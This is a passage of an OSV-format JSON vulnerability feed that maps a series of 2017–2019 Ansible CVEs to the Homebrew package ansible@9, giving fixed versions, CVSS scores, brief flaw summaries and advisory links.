privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7466"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/24186"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0d418789a298561fded9bce977d34babc9097079"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7ff9fa52cfcef2065f0db80d85dd94b9b754839c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7466"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-40.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20170701161323/http://www.securityfocus.com/bid/97595"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2017-7481","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-w578-j992-554x","CVE-2017-7481","PYSEC-2018-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly mark lookup-plugin results as unsafe","details":"Ansible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7481"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fd30f5328986f9e1da434474481f32bf918a600c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f0e348f5eeb70c1fb3127d90891da43b5c0a9d29"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ed56f51f185a1ffd7ea57130d260098686fcc7c2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1886911fcf4b691130cfc70dfc5daa5e07c46a3"},{"type":"WEB","url":"https://web.archive.org/web/20170801122609/http://www.securityfocus.com/bid/98492"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-41.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7481"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2524"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2017-7550","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-588w-w6mv-3cw5","CVE-2017-7550","PYSEC-2017-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Ansible Insertion of Sensitive Information into Log File vulnerability","details":"A flaw was found in the way Ansible (2.3.x before 2.3.3, and 2.4.x before 2.4.1) passed certain parameters to the jenkins_plugin module. Remote attackers could use this flaw to expose sensitive information from a remote host's logs. This flaw was fixed by not allowing passwords to be specified in the \"params\" argument, and noting this in the module documentation.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7550"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/30874"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/facbf7f14da29eea67ef68ab386fc15bd06d7c7f"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2966"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2017-7550"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1473645"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-4.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2018-10855","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-jwcc-j78w-j73w","CVE-2018-10855","PYSEC-2018-42"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible exposes sensitive data in log files and on the terminal","details":"Ansible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10855"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1948"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1949"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2022"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2079"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10855"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jwcc-j78w-j73w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-42.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2018-10874","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3xvg-x47j-x75w","CVE-2018-10874","PYSEC-2018-81"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Improper Input Validation vulnerability","details":"In ansible it was found that inventory variables are loaded from current working directory when running ad-hoc command which are under attacker's control, allowing to run arbitrary code as a result.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10874"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42067"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/44874addc7ea136f83c67d5869047ece02645fdb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1f80949f964a946773f9d3ac1899535bd2cc2b8e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/10d6fe6c98cfee9a7be0fea6102ba5dec951aec7"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-81.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10874"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1596528"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2018-10874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2018-10875","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-fc4h-467w-46rh","CVE-2018-10875","PYSEC-2018-43"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"A flaw was found in ansible. ansible.cfg is read from the current working directory which can be altered to make it point to a plugin or a module path under the control of an attacker, thus allowing the attacker to execute arbitrary code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10875"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/42388"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/43583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ff980afefdbe4ceb828bdb1bb2eef03cf616bf63"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4cecbe81adbc655d7ab734165d3ac539f8ba5981"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f32c42c37aaf7b9db93ea3151b2f42a0c4bd8172"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-43.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10875"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2018-16837","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-hwrm-63v2-42g4","CVE-2018-16837","PYSEC-2018-44"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Leaks Data Passed to ssh-keygen","details":"Ansible \"User\" module leaks any data which is passed on as a parameter to ssh-keygen. This could lean in undesirable situations such as passphrases credentials passed as a parameter for the ssh-keygen executable. Showing those credentials in clear text form for every user which have access just to the process list.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16837"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47486"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47445"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47436"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77928e6c3a2ad878b20312ce5d74d9d7741e0df0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b618339c321c387230d3ea523e80ad47af3de5cf"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f50cc0b8cb399bb7b7c1ad23b94c9404f0cc6d23"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227105539/http://www.securityfocus.com/bid/105700"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/11/msg00012.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-44.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/c963ef1dfbf73efea5106624eb48b346f01eaefd/changelogs/CHANGELOG-v2.7.rst?plain=1#L138"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3463"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3462"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3461"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3460"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2018-16876","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-j569-fghw-f9rx","CVE-2018-16876","PYSEC-2019-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible sensitive information disclosure","details":"ansible before versions 2.5.14, 2.6.11, 2.7.5 is vulnerable to a information disclosure flaw in `vvv+` mode with no_log on that can lead to leakage of sensible data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16876"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/51318"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/49569"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0a81d133ffc8f7067182c53cf6a28c724dd1099"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0954942dfdc563f80fd3e388f550aa165ec931da"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/424c68f15ad9f532d73e5afed33ff477f54281a7"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227100904/http://www.securityfocus.com/bid/106225"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-141.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16876"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0590"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0564"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3838"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3836"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3835"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-10156","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-grgm-pph5-j5h7","CVE-2019-10156","PYSEC-2019-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10156"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/57188"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04e94274fb92e116e9082cc9b86b1fd05c836922"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3ff6505e8ff0e4655bab008886983476ef903375"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a11c3edfa41e7e4a4db323cdabfc2eae1b61da2a"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10156"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-grgm-pph5-j5h7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-2.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-10206","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-cqmr-rcpr-cxh3","CVE-2019-10206","PYSEC-2019-145"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible password prompts could expose passwords","details":"ansible-playbook -k and ansible cli tools, all versions 2.8.x before 2.8.4, all 2.7.x before 2.7.13 and all 2.6.x before 2.6.19, prompt passwords by expanding them from templates as they could contain special characters. Passwords should be wrapped to prevent templates trigger and exposing them.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10206"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4b5aed4e5af4c7aab621662f50a289e99b8ac393"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d39488ece44956f6a169a498b067bbef54552be1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d728127310b4f3a40ce8b9df3affb88ffaeea073"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10206"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-145.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-10217","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-p75j-wc34-527c","CVE-2019-10217","PYSEC-2019-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","e